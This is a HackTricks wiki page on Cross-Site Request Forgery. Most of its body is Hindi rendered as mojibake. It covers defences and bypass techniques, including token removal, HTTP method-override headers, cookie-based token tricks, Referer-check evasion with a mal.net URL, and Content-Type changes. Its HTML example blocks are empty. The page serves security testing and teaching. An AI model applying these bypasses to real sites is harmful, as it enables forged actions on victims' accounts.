# CSRF (Cross Site Request Forgery)
{% hint style="success" %}
Learn & practice AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЕрдирдЬрд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдУрд░ рд╕реЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЙрдирдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╕рддреНрд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ред рдпрд╣ рд╣рдорд▓рд╛ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЬреЛ рдХрд┐рд╕реА рдкреАрдбрд╝рд┐рдд рдХреЗ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реИ, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдЗрдЯ рдлрд┐рд░ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░рдирд╛, рдпрд╛ рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдирд╛ред
### Prerequisites for a CSRF Attack
CSRF рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдИ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП:
1. **рдПрдХ рдореВрд▓реНрдпрд╡рд╛рди рдХреНрд░рд┐рдпрд╛ рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ**: рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдРрд╕рд╛ рдХрд╛рд░реНрдп рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреИрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб, рдИрдореЗрд▓ рдмрджрд▓рдирд╛, рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛ред
2. **рд╕рддреНрд░ рдкреНрд░рдмрдВрдзрди**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рддреНрд░ рдХреЗрд╡рд▓ рдХреБрдХреАрдЬрд╝ рдпрд╛ HTTP рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреНрдп рд╣реЗрдбрд░ рдХрд╛ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред
3. **рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЕрднрд╛рд╡**: рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдирд╣реАрдВ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╣рдорд▓реЗ рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред
### Quick Check
рдЖрдк **Burp рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрдкреНрдЪрд░** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк **Copy as fetch** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреБрд░реЛрдз рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
### Defending Against CSRF
CSRF рд╣рдорд▓реЛрдВ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рддрд┐рдХреВрд▓ рдЙрдкрд╛рдп рд▓рд╛рдЧреВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
* [**SameSite рдХреБрдХреАрдЬрд╝**](hacking-with-cookies/#samesite): рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд╕рд╛рде рдХреБрдХреАрдЬрд╝ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХрддреА рд╣реИред [SameSite рдХреБрдХреАрдЬрд╝ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВ](hacking-with-cookies/#samesite)ред
* [**рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд░рд┐рд╕реЛрд░реНрд╕ рд╢реЗрдпрд░рд┐рдВрдЧ**](cors-bypass.md): рдкреАрдбрд╝рд┐рдд рд╕рд╛рдЗрдЯ рдХреА CORS рдиреАрддрд┐ рд╣рдорд▓реЗ рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рд╣рдорд▓реЗ рдХреЛ рдкреАрдбрд╝рд┐рдд рд╕рд╛рдЗрдЯ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрдврд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛред [CORS рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ](cors-bypass.md)ред
* **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрдпрд╛рдкрди**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧрдирд╛ рдпрд╛ рдХреИрдкреНрдЪрд╛ рд╣рд▓ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдордВрд╢рд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
* **рд░реЗрдлрд░рд░ рдпрд╛ рдУрд░рд┐рдЬрд┐рди рд╣реЗрдбрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛**: рдЗрди рд╣реЗрдбрд░реЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдирд╛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдЖ рд░рд╣реЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, URLs рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рд╕реЗ рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ:
* `http://mal.net?orig=http://example.com` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (URL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп URL рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ)
* `http://example.com.mal.net` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (URL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп URL рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ)
* **рдкреИрд░рд╛рдореАрдЯрд░ рдирд╛рдореЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди**: POST рдпрд╛ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдирд╛рдореЛрдВ рдХреЛ рдмрджрд▓рдирд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
* **CSRF рдЯреЛрдХрди**: рдкреНрд░рддреНрдпреЗрдХ рд╕рддреНрд░ рдореЗрдВ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп CSRF рдЯреЛрдХрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рдФрд░ рдЗрд╕ рдЯреЛрдХрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд░рдЦрдирд╛ CSRF рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрд╛рдлреА рдХрдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЯреЛрдХрди рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ CORS рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдЕрдЦрдВрдбрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред
## Defences Bypass
### From POST to GET
рд╢рд╛рдпрдж рдЬрд┐рд╕ рдлреЙрд░реНрдо рдХрд╛ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рд╡рд╣ **CSRF рдЯреЛрдХрди рдХреЗ рд╕рд╛рде POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИ**, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ **рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП** рдХрд┐ рдХреНрдпрд╛ рдПрдХ **GET** рднреА **рдорд╛рдиреНрдп** рд╣реИ рдФрд░ рдпрджрд┐ рдЬрдм рдЖрдк GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрддреЗ рд╣реИрдВ рддреЛ **CSRF рдЯреЛрдХрди рдЕрднреА рднреА рдорд╛рдиреНрдп рд╣реИ**ред
### Lack of token
рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдПрдХ рддрдВрддреНрд░ рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **рдЯреЛрдХрди рдХреА рд╡реИрдзрддрд╛** рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХреЗ рдЬрдм рд╡реЗ рдореМрдЬреВрдж рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдХрдордЬреЛрд░реА рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрдиреЗ рдкрд░ рдорд╛рдиреНрдпрддрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЫреЛрдбрд╝ рджреА рдЬрд╛рддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкрд░ **рдЯреЛрдХрди рд▓реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╣рдЯрд╛ рдХрд░** рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рди рдХрд┐ рдХреЗрд╡рд▓ рдЗрд╕рдХреЗ рдорд╛рди рдХреЛред рдЗрд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА (CSRF) рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
### CSRF token is not tied to the user session
рдЕрдиреБрдкреНрд░рдпреЛрдЧ **CSRF рдЯреЛрдХрдиреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░реЛрдВ рд╕реЗ рдирд╣реАрдВ рдЬреЛрдбрд╝рдиреЗ** рдкрд░ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг **рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рд╕рд┐рд╕реНрдЯрдо рдЯреЛрдХрдиреЛрдВ рдХреЛ рдПрдХ **рд╡реИрд╢реНрд╡рд┐рдХ рдкреВрд▓** рдХреЗ рдЦрд┐рд▓рд╛рдл рдорд╛рдиреНрдп рдХрд░рддреЗ рд╣реИрдВ, рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рдЖрд░рдВрднрд┐рдХ рд╕рддреНрд░ рд╕реЗ рдмрдВрдзрд╛ рд╣реБрдЖ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред
рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ:
1. **рдЕрдкрдиреЗ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░реЗрдВ**ред
2. **рд╡реИрдз CSRF рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** рд╡реИрд╢реНрд╡рд┐рдХ рдкреВрд▓ рд╕реЗред
3. **рдЗрд╕ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ** рдПрдХ CSRF рд╣рдорд▓реЗ рдореЗрдВ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд┐рд▓рд╛рдлред
рдпрд╣ рдХрдордЬреЛрд░реА рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреА **рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЯреЛрдХрди рдорд╛рдиреНрдпрддрд╛ рддрдВрддреНрд░** рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред
### Method bypass
рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ "**рдЕрдЬреАрдм**" **рд╡рд┐рдзрд┐** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ **рд╡рд┐рдзрд┐** **рдУрд╡рд░рд░рд╛рдЗрдб рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛** рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдпрд╣ **PUT** рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **POST** рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рднреЗрдЬреЗрдВ**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
рдпрд╣ **POST рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрдВрджрд░ \_method рдкреИрд░рд╛рдореАрдЯрд░** рднреЗрдЬрдХрд░ рдпрд╛ **рд╣реЗрдбрд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Custom header token bypass
рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ **рдХрд╕реНрдЯрдо рд╣реЗрдбрд░** рдХреЗ рд╕рд╛рде рдПрдХ **рдЯреЛрдХрди** рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ **CSRF рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдзрд┐** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ:
* **рдХрд╕реНрдЯрдорд╛рдЗрдЬреНрдб рдЯреЛрдХрди рдФрд░ рд╣реЗрдбрд░ рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред**
* **рд╕рдЯреАрдХ рд╕рдорд╛рди рд▓рдВрдмрд╛рдИ рд▓реЗрдХрд┐рди рдЕрд▓рдЧ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред**
### CSRF token is verified by a cookie
рдЕрдиреБрдкреНрд░рдпреЛрдЧ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЯреЛрдХрди рдХреЛ рдХреБрдХреА рдФрд░ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рджреЛрдиреЛрдВ рдореЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░рдХреЗ рдпрд╛ рдПрдХ CSRF рдХреБрдХреА рд╕реЗрдЯ рдХрд░рдХреЗ рдФрд░ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдмреИрдХрдПрдВрдб рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдЯреЛрдХрди рдХреБрдХреА рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ рдХреНрдпрд╛ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЯреЛрдХрди рдХреБрдХреА рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдРрд╕реЗ рджреЛрд╖ рд╣реИрдВ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ CSRF рдХреБрдХреА рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ CRLF рдХрдордЬреЛрд░реА, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ CSRF рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкрд░ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рдХреЗ рдЬреЛ рдХреБрдХреА рд╕реЗрдЯ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж CSRF рд╣рдорд▓реЗ рдХреЛ рд╢реБрд░реВ рдХрд░рддреА рд╣реИред
рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛ рдХреИрд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
```html
```
{% hint style="info" %}
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ **csrf рдЯреЛрдХрди рд╕рддреНрд░ рдХреБрдХреА рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ рддреЛ рдпрд╣ рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛** рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХреЛ рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╕рддреНрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЗрд╕рд▓рд┐рдП рдЖрдк рдЦреБрдж рдкрд░ рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реЛрдВрдЧреЗред
{% endhint %}
### Content-Type рдкрд░рд┐рд╡рд░реНрддрди
[**рдЗрд╕**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) рдХреЗ рдЕрдиреБрд╕рд╛рд░, **preflight** рдЕрдиреБрд░реЛрдзреЛрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП **POST** рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдпреЗ рдЕрдиреБрдордд Content-Type рдорд╛рди рд╣реИрдВ:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рд╕рд░реНрд╡рд░ рдХреА рд▓реЙрдЬрд┐рдХ рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреА рд╣реИ** рдЬреЛ **Content-Type** рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдорд╛рдиреЛрдВ рдФрд░ рдЕрдиреНрдп рдЬреИрд╕реЗ **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ рдХреЛ рдЖрдЬрдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЙрджрд╛рд╣рд░рдг ( [рдпрд╣рд╛рдВ](https://brycec.me/posts/corctf\_2021\_challenges) рд╕реЗ) JSON рдбреЗрдЯрд╛ рдХреЛ text/plain рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрдиреЗ рдХрд╛:
```html
```
### JSON рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛
